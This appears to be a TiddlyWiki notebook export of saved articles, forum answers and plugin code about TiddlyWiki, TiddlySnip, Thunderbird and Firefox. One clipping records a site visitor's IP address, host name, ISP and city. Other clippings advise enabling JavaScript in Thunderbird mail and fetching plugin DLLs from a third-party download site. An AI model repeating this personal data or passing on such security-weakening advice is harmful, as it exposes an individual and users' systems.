The Preferences window contains a few useful settings you might want to specify right from the start: for example, you can define tags for new tiddlers, which will allow you to quickly identify tiddlers created with TiddlySnip in your TiddlyWiki. You can use the Backup option section to enable or disable backups and specify a separate directory for them. Keep in mind, though, that TiddlySnip creates a backup copy every time you add a new tiddler, so you could end up with a lot of backup files. One possible solution is to turn the backup feature off and put the TiddlyWiki file into the Firefox profile folder in your home directory (e.g. /home/user/.mozilla/firefox). You can then use your favorite backup software to back up the entire Firefox profile, including TiddlyWiki.

Under the View TW options tab, you can enable the Open TW after saving option, which opens TiddlyWiki right after a new tiddler has been created. This can be useful if you want to edit the created tiddler, or to make sure that it has been added successfully. When creating a new tiddler with TiddlySnip, you must choose a category. If the default categories in TiddlySnip are not enough for your needs, you can easily add new ones in the Categories section of the Preferences window.

Once installed and configured, TiddlySnip adds three commands to the context menu in Firefox: TiddlySnip Page, TiddlySnip Clipboard, and TiddlySnip Selection. The first two commands are active when you right-click on a page without selecting any text. They allow you to create a new tiddler for the entire page or the contents of the Clipboard. If you select a text fragment in the current Web page, you can use TiddlySnip to create a new tiddler out of the selection. No matter what command you choose, TiddlySnip opens the Preview window, containing the Title, Tags, and Text fields filled out with the relevant information from the page. All the fields are editable, and you can even use TiddlyWiki markup in the Text field. Press the Save button, and TiddlySnip adds the new tiddler to TiddlyWiki.

TiddlySnip also has a feature that can handle identical tiddlers, which can help you to avoid duplicates in your TiddlyWiki. When you try to add a new tiddler with a title that already exists in TiddlyWiki, TiddlySnip offers to either rename the new tiddler, append it to the existing one, or overwrite it.

TiddlySnip also supports the TiddlySpot service, which offers a hosted version of TiddlyWiki. This means that TiddlySnip can create tiddlers in a TiddlyWiki on the Web, which effectively turns the TiddlySnip/TiddlyWiki combo into a powerful Web-based note-taking tool. If you have a TiddlySpot account, enter the link to your hosted TiddlyWiki (for instance, http://yourtiddlywikiname.tiddlyspot.com/index.html) in the File Location field in the Preferences window. This automatically activates the Uploads option tab. Switch to it, enter your TiddlySpot user name and password, and you are ready to go. Now you can use TiddlySnip to save new tiddlers to the remote TiddlyWiki.

TiddlyWiki is a flexible and innovative application by its own, but with the TiddlySnip extenstion, you can extend its functionality even further. If you use TiddlyWiki regularly, TiddlySnip is a must-have addition to your productivity toolbox.

Every Monday we highlight a different extension, plugin, or add-on. Write an article of less than 1,000 words telling us about one that you use and how it makes your work easier, along with tips for getting the most out of it. If we publish it, we'll pay you $100. (Send us a query first to be sure we haven't already published a story on your chosen topic recently or have one in hand.)
Dmitri Popov is a freelance writer whose articles have appeared in Russian, British, US, German, and Danish computer magazines.

Source: [[Linux.com :: Connect Firefox to TiddlyWiki with TiddlySnip|http://www.linux.com/feature/120048]]
Make your Thunderbird start page a wiki
By Dmitri Popov on September 13, 2007 (9:00:00 PM)

Share    Print    Comments   

Every time you launch Thunderbird, you are greeted by a generic start page (unless you've turned that option off). Most of us don't pay much attention to it and navigate straight to the Inbox without giving it a second thought. The start screen is just a simple HTML page, which Thunderbird fetches from the address specified in the application's preferences. Knowing that, you can replace it with something more useful, such as the URL of your Web site or blog -- or you can take it a step further and turn the start screen into a tool that can help to manage your ideas, notes, to-do lists, and more.

Doing this, and also adding extensions like Lightning and Sync Kolab, can transform Thunderbird from a humble email client to a powerful productivity tool.

If this idea makes sense to you, then you'll be pleased to know that this is not only doable, but also easy to implement, courtesy of TiddlyWiki. The entire TiddlyWiki consists of just one HTML file, which includes CSS and JavaScript codes, and everything you enter in the wiki is stored inside this file as well. TiddlyWiki also does away with separate pages, and instead uses so-called tiddlers -- text fragments stored in the wiki file that you can show and hide. You can also add new paragraphs, delete and modify existing ones, tag them, and shuffle them as you see it fit. This makes TiddlyWiki a useful tool for managing your text fragments in a non-linear manner; and with a bit of tweaking you can do this directly from within Thunderbird.

[Click to enlarge] Click to enlarge First of all, you have to download the latest version of TiddlyWiki and save it somewhere on your local hard disk (your home directory is a good choice). Rename the downloaded file called empty.html to something more meaningful, such as tiddlywiki.html.

Next, launch Thunderbird and choose Edit -> Preferences and click on the General Tab. Make sure that the "When the Thunderbird launches" check box is ticked, and type the path to the tiddlywiki.html file. It should look something like this: file:///home/user/tiddlywiki.html (where "user" is your user name).

When you restart Thunderbird, you'll most likely get an error message that starts with "This page requires JavaScript to function properly." This happens because JavaScript is turned off in Thunderbird by default -- for good reason. It prevents execution of (malicious) JavaScript code that might be embedded into HTML-formatted email messages. Once you've turned this option on, you have to be even more careful with HTML messages arriving in your inbox. To change the setting, click on the Advanced tab in the Preferences window and press the Config Editor button. This opens the about:config window, which contains all Thunderbird's configuration options. Type "javascript" sans quotes in the Filter field, and double-click on the javascript.allow.mailnews option to set its value to true.

Now, restart Thunderbird, and you will be greeted by TiddlyWiki, and you can start filling it up with content. When you navigate away from the start page, you can always get back to it by choosing Go -> Mail Start Page.

Source: [[Linux.com :: Make your Thunderbird start page a wiki|http://www.linux.com/feature/119107]]
!!!!!<<gradient horiz #fcb #fff>>&nbsp;[[ListsWithAbstract]]>>
{{textindent05{
<html><hide linebreaks>
<ul style="list-style-image: url(folder.gif);">
<li><<slider "  " "BookmarkAbstracts" "BookmarkAbstracts" "tooltip">></li>
<li><<slider " " "MyStuffWithAbstract" "MyStuffWithAbstract" "tooltip">></li>
<li><<slider " " "TiddlySnipsAbstract" "TiddlySnipsAbstract" "tooltip">></li>
<li><<slider " " "TSDevAbstract" "TSDevAbstract" "tooltip">></li>
</ul>
</html>
}}}
/***
|''Name:''|LoadRemoteFileThroughProxy (previous LoadRemoteFileHijack)|
|''Description:''|When the TiddlyWiki file is located on the web (view over http) the content of [[SiteProxy]] tiddler is added in front of the file url. If [[SiteProxy]] does not exist "/proxy/" is added. |
|''Version:''|1.1.0|
|''Date:''|mar 17, 2007|
|''Source:''|http://tiddlywiki.bidix.info/#LoadRemoteFileHijack|
|''Author:''|BidiX (BidiX (at) bidix (dot) info)|
|''License:''|[[BSD open source license|http://tiddlywiki.bidix.info/#%5B%5BBSD%20open%20source%20license%5D%5D ]]|
|''~CoreVersion:''|2.2.0|
***/
//{{{
version.extensions.LoadRemoteFileThroughProxy = {
 major: 1, minor: 1, revision: 0, 
 date: new Date("mar 17, 2007"), 
 source: "http://tiddlywiki.bidix.info/#LoadRemoteFileThroughProxy"};

if (!window.bidix) window.bidix = {}; // bidix namespace
if (!bidix.core) bidix.core = {};

bidix.core.loadRemoteFile = loadRemoteFile;
loadRemoteFile = function(url,callback,params)
{
 if ((document.location.toString().substr(0,4) == "http") && (url.substr(0,4) == "http")){ 
  url = store.getTiddlerText("SiteProxy", "/proxy/") + url;
 }
 return bidix.core.loadRemoteFile(url,callback,params);
}
//}}}
The revised code for your simplified example should be:
------------------
{{{
<script>
   var tids=store.filterTiddlers("[tag[Action && !Done]]");
   if (tids.length) {
      var tid=tids[0].title;
      story.displayTiddler(null,tid);
   }
</script>
}}}
------------------ 

Source: [[Logic not in script parameter... - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/16f1d25add11294b/b2d6e88583007467?lnk=gst&q=script+and+not+a+tag#b2d6e88583007467]]
I got into programming and JavaScript for the same reason: TiddlyWiki.
What I found useful was the now "Old JavaScript Pages" linked to in
this site map:
http://www.quirksmode.org/sitemap.html
(Start with the General, Core, and DOM sections)

Combined with reading small TiddlyWiki macros and plugins, and
eventually the TiddlyWiki core. The TiddlyWiki core can be a little
daunting, but once you've familiarized yourself with basic programming
concepts like variables and functions, start off by looking at the
macros in the core, most are quite simple. (search the source of an
empty TiddlyWiki for config.macros. ) 

Source: [[Looking for Guidance on learning TW related JS - TiddlyWikiDev : Google Groups|http://groups.google.com/group/TiddlyWikiDev/browse_thread/thread/5c813f9ae4c041c0]]
> For the slide presentation modes, I have to swap between a couple of
> different SlideViewTemplates
..
> What would be nice is to have a macro that I can click on to copy (an
> arbitrary) source tiddler to SlideShowViewTemplate (or an arbitrary
> target tiddler).

Try this...

First, install:
   http://www.TiddlyTools.com/#InlineJavascriptPlugin

Then, create a tiddler called [[SwitchContent]], containing:
{{{
-------------------------
<script label="$1">
   var txt=store.getTiddlerText('$2');
   if (!txt) {displayMessage('$2 not found'); return; }
   var t=store.getTiddler('$3');
   if (!t) {displayMessage('$3 not found'); return; }
   var who=config.options.txtUserName;
   var when=new Date();
   store.saveTiddler(t.title,t.title,txt,who,when,t.tags,t.fields);
</script>
-------------------------

To use this inline 'onclick' script, embed the following in your
tiddler content:
   <<tiddler SwitchContent with:
      "instructor mode"
      "InstructorSlideShowViewTemplate"
      "SlideShowViewTemplate">>
}}}

The first parameter following the 'with:' will be used as the label on
the onclick command.  The second param is the source tiddler, the
third param is the target tiddler whose content will be *overwritten*.

That should do it! 

Source: [[Looking for a rename or copy tiddler to new (specified) name - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/173c98aa0039ade5]]
> There is no backup on TiddlySpot - it contains a single file only i.e.
> the one you most recently downloaded. You have to backup on your own
> disk only.

There is actually. It's not well documented.  We keep some backups at this
url:
http://siteid.tiddlyspot.com/backup/
If you get a 404 then perhaps you've forgotten your site id. What do you
think it is? (by email if you prefer).

Simon. 

Source: [[Lost work on Tiddlyspot - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/f484c63bd85017b0/1765502289a123f1#1765502289a123f1]]
{{{@@position:absolute;margin-top:20px;margin-left:50px;[img[...][...]]@@}}}
I'm trying to insert a small icon at a precise position in the current
tiddler.


Source: [[Macro for inserting at precise position relative to the tiddler - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/2470de07357579d6]]









!MacrosList
{{liststyleimagenone underlineLink { <<tiddlerList tags:macros-ts: order:-created top:100 itemTemplate:"''__%created__''\n%link\n%abstract\n----\n">> 
Referring Link 	http://www.tiddlywiki.org/index.php?title=Plugin_Repositories&diff=0&oldid=6055
Host Name 	p57B3DD37.dip.t-dialin.net
IP Address 	87.179.221.55 [Label IP Address]
Country 	Germany
Region 	Berlin
City 	Berlin
ISP 	Deutsche Telekom Ag

Source: [[Magnify User (Sidebar Plugin Vault)|http://my7.statcounter.com/project/standard/magnify.php?project_id=3608827&ip_number=1471405367&PHPSESSID=bdd60220a171eafe93833a41fea7deb2]]
The extents (dimensions) of a SPAN (inline element) are only as big as
the content inside it.  However, the extents of a DIV (block element)
will go all the way across the whole container (e.g., the MainMenu).
Thus, text-alignment CSS (left/center/right/justify) will only work
properly if applied to a DIV (or a SPAN with style='display:block') 

{{{
{{classname{this is a SPAN}}}

{{classname{
this is a DIV}}} 
}}}

Try adding "display:block;" to your CSS rules:
{{{
.leftjustify{ text-align:left; display:block; }
.indent{ text-align:left; margin-left:1em; display:block; }
}}}
Alternatively, you could leave the CSS as-is and just write:
{{{
{{leftjustify{
[[Test1]]}}}
{{indent{
[[Test2]]}}} 
}}}
Source: [[Making the MainMenu left justified with some entries indented - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/d654627e5ee1045a#]]
Manage Firefox Privileges

Source: [[Manage Firefox Privileges - FirefoxPrivilegesPlugin|http://firefoxprivileges.tiddlyspot.com/]]
> I think Wikipedia effectively does the same but would go
> beyond this by making the Rachmaninoff tiddler auto-redirect to the
> Rachmaninov tiddler. But I'm not sure what I could do in TW.

I faced a similar problem when retiring an obsolete plugin on
TiddlyTools.  When the core changed the theme switching architecture,
the [[SelectStylesheetPlugin]] was replaced by the completely re-
written [[SwitchThemePlugin]].  However, there's still lots of links
out on the web to the old tiddler, and I didn't want people to end up
getting a 'tiddler not found' error when following those links.

To address this, I left the old SelectStylesheetPlugin tiddler in
place, but changed the content of that tiddler to just present a short
message automatically redirect to the new tiddler after 10 seconds,
using this inline script:
    http://www.TiddlyTools.com/#TimedTiddlerTour
like this:
{{{
---------------
{{small{You will be automatically redirected to [[SwitchThemePlugin]]
in <<tiddler TimedTiddlerTour with: SwitchThemePlugin 10 close>>
seconds}}}
---------------
}}}
Note: using a *timed* redirect is important... otherwise, as soon as
you load the tiddler, it would immediately send you to a different
tiddler, making it virtually impossible to edit the tiddler containing
the redirect. 

Source: [[Managing synonyms - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/9e31f95f388975e7]]
Surprise, a complete install of Windows Media Player in Windows Vista does not provide the necessary .dll files needed to play WMA or ASX files in Firefox. This means that if you do a fresh install of Windows Vista and Firefox 2.x and try to listen to an archived program on kexp.org you’re going to get that this ugly little window:

Manually Installing Windows Media Player Plugin for Firefox in Windows Vista

Your first instinct is to let Firefox figure it out, by clicking the Install Missing Plugins. But then it says you have to manually install the plugin and you get directed to install the full Windows Media Player (WMP). Only this won’t solve the problem. What you really need is to download three .dll files and copy them into your C:\Program Files\Mozilla Firefox\plugins directory.

These dll files are:
<html><hide linebreaks><ul>
<li>npdsplay.dll (<a href="http://www.dlldump.com/download-dll-files_new.php/dllfiles/N/npdsplay.dll/3.0.2.629/" onclick="javascript:urchinTracker ('/outbound/www.dlldump.com');">download</a>)</li>
<li>npwmsdrm.dll (<a href="http://www.dlldump.com/download-dll-files_new.php/dllfiles/N/npwmsdrm.dll/9.00.00.3250/" onclick="javascript:urchinTracker ('/outbound/www.dlldump.com');">download</a>)</li>
<li>npdrmv2.dll <a href="http://www.dlldump.com/download-dll-files_new.php/dllfiles/N/npdrmv2.dll/9.00.00.32508/" onclick="javascript:urchinTracker ('/outbound/www.dlldump.com');">(download</a>)</li>
<li><a href="http://banagale.com/blog/files/wmp_man_inst_dlls.zip">Download all three</a> in a zip file.</li>
</ul>
</html>

According to W3C, Firefox is in at a full 31% of the browser market! I can understand why Microsoft wouldn’t make it easy for Mozilla users, but you have to wonder about this. Microsoft has a desire to hold on to as much browser market as it can. But more importantly it wants people to use its encoding scheme for audio and video. Controlling a media format can mean a dynasty for a company, (think Adobe’s PDF). If Microsoft wants to encourage publishers to encode in their audio/video codec they need to start making it easier for people using alternative browsers to view their content.

<html><a href="http://kb.mozillazine.org/Windows_Media_Player#Missing_plugin" onclick="javascript:urchinTracker ('/outbound/kb.mozillazine.org');">Here is a link</a></html> to the ~MozillaZine Knowledge Base entry on this topic. For most users, I would think the table of contents at the top is enough to make them give up on getting the plugin installed. I was prompted to finally figure this out while trying to play an archive copy of homeboy DJ Riz’s Expansions show on KEXP. Listen to Riz, he is the man.

Update 5/16/2008: I recieved this comment that the dll links were out of order, so I fixed them and also downloaded/bundled the dll’s into a single Zip file to make things just a bit easier.   Have a great day.

Source: [[Manually Installing Windows Media Player Plugin for Firefox in Windows Vista - rob’s blog|http://banagale.com/manually-installing-windows-media-player-plugin-for-firefox-in-windows-vista.htm]]
> when I put imagines on the left side of tiddler, the text starts tight
> up against it....how do I give the images an invisibl border...or a
> margen
{{{
Try this in [[StyleSheet]]:

img { margin:.5em; } 
}}}

Source: [[Margens around images - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/3223d220df7869cd#]]
<!-- Start of StatCounter Code -->
<script type="text/javascript">
sc_project=3653010; 
sc_invisible=1; 
sc_partition=43; 
sc_security="b4c0f3d9"; 
</script>

<script type="text/javascript" src="http://www.statcounter.com/counter/counter_xhtml.js"></script><noscript><div class="statcounter"></div></noscript>
<!-- End of StatCounter Code -->
<!--{{{-->
<link rel='alternate' type='application/rss+xml' title='RSS' href='index.xml'/>
<link rel="shortcut icon" href="http://img99.imageshack.us/img99/1614/kittyiconrc9.jpg">
<!--}}}-->
Instead of wrestling with special character sequences to mimic the
embedded quotes and other delimiters, use *computed parameters* that
retrieve the needed values from separately defined, *hidden tiddler
sections* with the same tiddler to assemble and invoke the macro.
This allows you to use virtually any variety of TW syntax within the
sections (except for "!" of course, which is used to define the
section headings), including single and double quotes, TW formatting
and macros, multiple content lines with whitespace, etc.
{{{
For example, create a tiddler called [[ShowStuff]], containing:
------------------------
<<forEachTiddler
   where {{store.getTiddlerText("ShowStuff##where")}}
   sortBy {{store.getTiddlerText("ShowStuff##sortBy")}}
   script {{store.getTiddlerText("ShowStuff##script")}}
   write {{store.getTiddlerText("ShowStuff##write")}}
   begin {{store.getTiddlerText("ShowStuff##begin")}}
   end {{store.getTiddlerText("ShowStuff##end")}}
   none {{store.getTiddlerText("ShowStuff##none")}}
>>/%

!where
enter where clause here
!sortBy
enter sort expression here
!script
enter script code here
!write
enter text here
!begin
enter text here
!end
enter text here
!none
enter text here
!STOP (terminates last section)
%/
------------------------

To easily embed this compound macro in other tiddler content, simply
use:
   <<tiddler ShowStuff>>
or even
   <<tiddler ShowStuff with: foo bar baz>>
where the content in ShowStuff has embedded $1, $2 and $3 as
substitution markers where foo, bar and baz will be automatically
inserted before invoking the compound forEachTiddler macro itself.
}}}
enjoy,
-e 

Source: [[Masking Double Quotes in Udo Borowskis ForEachTiddler Plugin - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/e50e85feb8c35416?hl=en]]
/***
|Name|MatchTagsPlugin|
|Source|http://www.TiddlyTools.com/#MatchTagsPlugin|
|Documentation|http://www.TiddlyTools.com/#MatchTagsPluginInfo|
|Version|1.9.0|
|Author|Eric Shulman - ELS Design Studios|
|License|http://www.TiddlyTools.com/#LegalStatements <br>and [[Creative Commons Attribution-ShareAlike 2.5 License|http://creativecommons.org/licenses/by-sa/2.5/]]|
|~CoreVersion|2.1|
|Type|plugin|
|Requires||
|Overrides||
|Description|'tag matching' with full boolean expressions (AND, OR, NOT, and nested parentheses)|
!!!!!Documentation
> see [[MatchTagsPluginInfo]]
!!!!!Revisions
<<<
2008.06.12 [1.9.0] added support for formatted output of: title, who, when, text, firstline, description (slice or section)
| please see [[MatchTagsPluginInfo]] for additional revision details |
2008.02.28 [1.0.0] initial release
<<<
!!!!!Code
***/
//{{{
version.extensions.matchTags= {major: 1, minor: 9, revision: 0, date: new Date(2008,6,5)};

config.macros.matchTags = {
	msg1: "scanning %0 input tiddlers",
	msg2: "looking for '%0'",
	msg3: "using expression: '%0'",
	msg4: "found %0 tiddlers matching '%1'",
	noMatch: "no matching tiddlers",
	untaggedKeyword: "-",
	untaggedLabel: "no tags",
	untaggedPrompt: "show tiddler with no tags",
	handler: function(place,macroName,params,wikifier,paramString,tiddler) {
		if (params[0]&&params[0].toUpperCase()=="POPUP") {
			params.shift();
			if (params[0]&&params[0].substr(0,6)=="label:") var label=params.shift().substr(6);
			if (params[0]&&params[0].substr(0,7)=="prompt:") var prompt=params.shift().substr(7);
			var sortBy="+title";
			if (params[0]&&params[0].substr(0,5)=="sort:") sortBy=params.shift().substr(5);
			var expr = params.join(" ");
			if (!expr||!expr.trim().length) return;
			if (expr==this.untaggedKeyword)
				{ var label=this.untaggedLabel; var prompt=this.untaggedPrompt };
			var btn=createTiddlyButton(place,
				(label||expr).format([expr]),
				(prompt||config.views.wikified.tag.tooltip).format([expr]),
				function(event){config.macros.matchTags.showPopup(this,event)});
			btn.setAttribute("sortBy",sortBy);
			btn.setAttribute("expr",expr);
			return;
		}
		var fmt=params.shift().unescapeLineBreaks();
		var sep=params.shift().unescapeLineBreaks();
		var sortBy="+title";
		if (params[0]&&params[0].substr(0,5)=="sort:") sortBy=params.shift().substr(5);
		var expr=params.join(" ");
		if (!expr||!expr.trim().length) return;
		var tids=store.getMatchingTiddlers(expr);
		store.sortTiddlers(tids,sortBy);
		var out=[];
		for (var t=0; t<tids.length; t++) {
			var title="[["+tids[t].title+"]]";
			var who=tids[t].modifier;
			var when=tids[t].modified.toLocaleString();
			var text=tids[t].text;
			var first=tids[t].text.split("\n")[0];
			var desc=store.getTiddlerSlice(tids[t].title,"description"); // "description" slice
			desc=desc||store.getTiddlerSlice(tids[t].title,"Description"); // capitalized slice
			desc=desc||store.getTiddlerText(tids[t].title+"##description"); // "description" section
			desc=desc||store.getTiddlerText(tids[t].title+"##Description"); // capitalized section
			out[t]=fmt.format([title,who,when,text,first,desc]);
		}
		wikify(out.join(sep),place);
	},
	showPopup: function(here,event) {
		var p=Popup.create(here); if (!p) return false;
		var tids=store.getMatchingTiddlers(here.getAttribute("expr"));
		store.sortTiddlers(tids,here.getAttribute("sortBy"));
		var list=[]; for (var t=0; t<tids.length; t++) list.push(tids[t].title);
		if (!list.length) createTiddlyText(p,this.noMatch);
		else {
			var b=createTiddlyButton(createTiddlyElement(p,"li"),
				config.views.wikified.tag.openAllText, config.views.wikified.tag.openAllTooltip,
				function(){story.displayTiddlers(null,this.getAttribute("list").readBracketedList());});
			b.setAttribute("list","[["+list.join("]] [[")+"]]");
			createTiddlyElement(p,"hr");
		}
		for (var t=0; t<list.length; t++) createTiddlyLink(createTiddlyElement(p,"li"),list[t],true);
		Popup.show(p,false);
		event.cancelBubble=true; if(event.stopPropagation)event.stopPropagation();
		return false;
	}
};
//}}}
//{{{
// // TWEAK core filterTiddlers() for enhanced boolean matching in [tag[...]] syntax:
// // use getMatchingTiddlers instead getTaggedTiddlers
var fn=TiddlyWiki.prototype.filterTiddlers;
fn=fn.toString().replace(/getTaggedTiddlers/g,"getMatchingTiddlers");
eval("TiddlyWiki.prototype.filterTiddlers="+fn);
//}}}
//{{{
// // REDEFINE core handler for enhanced boolean matching in tag:"..." paramifier
// // use filterTiddlers() instead of getTaggedTiddlers() to get list of tiddlers.
config.paramifiers.tag = {
	onstart: function(v) {
		var tagged = store.filterTiddlers("[tag["+v+"]]");
		story.displayTiddlers(null,tagged,null,false,null);
	}
};
//}}}
//{{{
// // getMatchingTiddlers() processes boolean expressions for tag matching
// //    sortfield (optional) sets sort order for tiddlers - default=title
// //    tiddlers (optional) uses alternative set of tiddlers (instead of scanning current store)
TiddlyWiki.prototype.getMatchingTiddlers = function(tag,sortfield,tiddlers) {

	var debug=config.options.chkDebug; // abbreviation
	var cmm=config.macros.matchTags; // abbreviation
	var r=[]; // results are an array of tiddlers
	var tids=tiddlers||store.getTiddlers(sortfield||"title");
	if (tiddlers && sortfield) store.sortTiddlers(tids,sortfield);
	if (debug) displayMessage(cmm.msg1.format([tids.length]));

	// try simple lookup to quickly find single tags
	// or tags that contain boolean operators, e.g. [[foo and bar]])
	for (var t=0; t<tids.length; t++)
		if (tids[t].isTagged(tag)) r.pushUnique(tids[t]);
	if (r.length) {
		if (debug) displayMessage(cmm.msg4.format([r.length,tag]));
		return r;
	}
	
	var all = store.getTags(); // get list of all tags
	for (var i=0; i<all.length; i++) all[i]=all[i][0]; // remove tag counts
	if (!all.length) return r; // no tags, return empty list

	// convert expression into javascript code with regexp tests, so that
	// "tag1 AND ( tag2 OR NOT tag3 )" becomes
	// "/\~tag1\~/.test(...) && ( /\~tag2\~/.test(...) || ! /\~tag3\~/.test(...) )"

	var c=tag.trim(); // remove leading/trailing spaces
	c = c.replace(/\s+/ig," "); // reduce multiple spaces to single spaces
	c = c.replace(/[\[\]]/g,""); // remove [[...]] quoting around tagvalues

	// convert operators and use "~" as delimiter between terms
	c = c.replace(/\(\s?/ig,"~(~"); // open parens
	c = c.replace(/\s?\)/ig,"~)~"); // close parens
	c = c.replace(/(\s|~)?&&(\s|~)?/ig,"~&&~"); // &&
	c = c.replace(/(\s|~)AND(\s|~)/ig,"~&&~"); // AND
	c = c.replace(/(\s|~)?\|\|(\s|~)?/ig,"~||~"); // ||
	c = c.replace(/(\s|~)OR(\s|~)/ig,"~||~"); // OR
	c = c.replace(/(\s|~)?!(\s|~)?/ig,"~!~"); // !
	c = c.replace(/(^|~|\s)NOT(\s|~)/ig,"~!~"); // NOT
	c = c.replace(/(^|~|\s)NOT~\(/ig,"~!~("); // NOT(

	// change existing tags to regexp tests and non-existing tags to "false"
	var terms=c.split("~");
	for (var i=0; i<terms.length; i++) { var t=terms[i];
		if (/(&&)|(\|\|)|[!\(\)]/.test(t) || t=="")
			continue; // skip operators/parens/spaces
		if (t==config.macros.matchTags.untaggedKeyword)
			terms[i]="tiddlertags=='~~'"; // special case for 'untagged' tiddlers
		else
			terms[i]=!all.contains(t)?"false":("/\\~"+t+"\\~/.test(tiddlertags)");
	}
	c=terms.join(" ");

	if (debug) { displayMessage(cmm.msg2.format([tag])); displayMessage(cmm.msg3.format([c])); }

	// scan all tiddlers for matches
	for (var t=0; t<tids.length; t++) {
	 	// assemble tags from tiddler into string "~tag1~tag2~tag3~"
		var tiddlertags = "~"+tids[t].tags.join("~")+"~";
		// eval string against boolean test expression
		try { if(eval(c)) r.push(tids[t]); }
		catch(e) {
			displayMessage(cmm.msg2.format([tag]));
			displayMessage(cmm.msg3.format([c]));
			displayMessage(e.toString());
			break; // skip remaining tiddlers
		}

	}
	if (debug) displayMessage(cmm.msg4.format([r.length,tag]));
	return r;
}
//}}}
/***
|Name|MatchTagsPluginInfo|
|Source|http://www.TiddlyTools.com/#MatchTagsPlugin|
|Documentation|http://www.TiddlyTools.com/#MatchTagsPluginInfo|
|Version|1.9.0|
|Author|Eric Shulman - ELS Design Studios|
|License|http://www.TiddlyTools.com/#LegalStatements <br>and [[Creative Commons Attribution-ShareAlike 2.5 License|http://creativecommons.org/licenses/by-sa/2.5/]]|
|~CoreVersion|2.1|
|Type|documentation|
|Requires||
|Overrides||
|Description|documentation for MatchTagsPlugin|
!!!!!Usage
<<<
This plugin extends the {{{[tag[tagname]]}}} macro parameter syntax used by the TiddlyWiki core {{{<<list>>}}} macro so that, instead of a simple tagname value, you can specify a complex combination of tagname values using a //boolean expression// containing AND, OR, and NOT operators, enclosed in nested parentheses if needed.
{{{
<<list filter "[tag[expression]]">>
}}}
In addition, the plugin defines a new macro, {{{<<matchTags ...>>}}} that can be used instead of the core {{{<<list>>}}} macro to output a list of matching tiddlers //using a custom 'item format' and 'separator'//.  You can also use this macro to create a command link that displays the matching tiddlers within a popup list, similar to the standard {{{<<tag tagName>>}}} macro, but matching a combination of tag values rather than a single tag value.
{{{
<<matchTags "format" "separator" sort:fieldname tag expression>>
}}}
or
{{{
<<matchTags popup "label:..." "prompt:..." sort:fieldname tag expression>>
}}}
where:
* ''format''<br>defines the wiki-syntax for rendering list items.  The following //substitution markers// can be used to insert tiddler-specific information for each matched tiddler:
** {{{%0}}} - title
** {{{%1}}} - modifier (author)
** {{{%2}}} - modified (date of last change)
** {{{%3}}} - text (all tiddler content)
** {{{%4}}} - firstline (tiddler content up to the first newline)
** {{{%5}}} - description (tiddler slice or section content named "description" or "Description")
* ''separator''<br>defines the wiki-syntax to use //between// each matching title (e.g., ", " creates a comma-separated list, while "\n" displays one tiddler per line).
* ''popup''<br>is a keyword indicating that a popup list should be created instead of directly rendering the list within your tiddler content.
* ''"label:..."''(optional)<br> indicates the text for the popup command link.  The default is to display the specified tag expression itself.
* ''"prompt:..."'' (optional)<br>indicates the mouseover 'tooltip' for the popup command link.
* ''sort:fieldname'' (optional)<br>specifies the sort order for the resulting list of tiddlers.  You can specify any tiddler field name (standard or custom-defined).  Standard tiddler fieldnames include: //title, created, modified, modifier//.  If not specified, tiddlers are sorted by title.  You can prefix the fieldname with "+" or "-" to indicate ascending or descending order, respectively.
* ''tag expression''<br>the remaining parameter(s) are joined together to define the boolean expression to be matched.

A tag expression can use any combination of text operators: ''AND'', ''OR'', ''NOT'' (or their equivalent javascript operators: ''&&'', ''||'', ''!''), contained in nested parentheses as needed.  Operators should be delimited by spaces or parentheses.  Multiple spaces are reduced to single spaces, and leading/trailing spaces are trimmed.  Tag values containing embedded spaces can be enclosed in {{{[[...]]}}}.  Tag values that contain boolean operators themselves (e.g., {{{[[foo and bar]]}}} or {{{[[foo && bar]]}}} cannot be combined with other tag values within a boolean expression, but //can// be matched if specified by themselves, without any other tag values or operators.  As a special case, you can use "-" in place of a tag value within an expression to match tiddlers that have no tags.
<<<
!!!!!Examples:
<<<
display a popup list:
{{{
<<matchTags popup sample OR (settings AND systemConfig)>>
}}}
><<matchTags popup sample OR (settings AND systemConfig)>>
display a popup list with custom label:
{{{
<<matchTags popup "label:samples and settings" sample OR (settings AND systemConfig)>>
}}}
><<matchTags popup "label:samples and settings" sample OR (settings AND systemConfig)>>
display a popup list of untagged tiddlers:
{{{
<<matchTags popup ->>
}}}
><<matchTags popup ->>
comma-separated list:
{{{
<<matchTags "%0" ", " sample OR (settings AND systemConfig)>>
}}}
><<matchTags "%0" ", " sample OR (settings AND systemConfig)>>
numbered list (sorted by modification date, most recent first):
{{{
<<matchTags "#%0 (%2)<br>^^%5^^" "\n" sort:-modified sample OR (settings AND systemConfig)>>
}}}
><<matchTags "#%0 (%2)<br>^^%5^^" "\n" sort:-modified sample OR (settings AND systemConfig)>>
bullet-item list (using the TiddlyWiki core {{{<<list filter ...>>}}} macro):
//(Note: when using the core {{{<<list>>}}} macro, you should always enclose the entire tag filter parameter within quotes)//
{{{
<<list filter "[tag[sample OR (settings AND systemConfig)]]">>
}}}
><<list filter "[tag[sample OR (settings AND systemConfig)]]">>
<<<
!!!!!Revisions
<<<
2008.06.12 [1.9.0] added support for formatted output of: title, who, when, text, firstline, description (slice or section)
2008.06.05 [1.8.0] in getMatchingTiddlers(), added optional sortfield and tiddlers params to support use of alternative set of tiddlers instead of using current store content (provides filtering support for ImportTiddlersPlugin)
2008.06.04 [1.7.1] in getMatchingTiddlers(), reworked conversion of expression for more robust parsing of whitespace, parentheses and javascript operators and allow use of "-" (untagged) //within// expressions
2008.05.19 [1.7.0] in getMatchingTiddlers(), use reverseLookup() instead of forEachTiddler() to permit access to tiddlers included via [[IncludePlugin|http://tiddlywiki.abego-software.de/#IncludePlugin]]
2008.05.17 [1.6.0] in getMatchingTiddlers(), rewrote expression conversion to handle tags with spaces tag values that are substrings of other tag values.
2008.05.16 [1.5.0] added special case using "-" to find UNTAGGED tiddlers
2008.05.15 [1.4.0] added "popup" output option
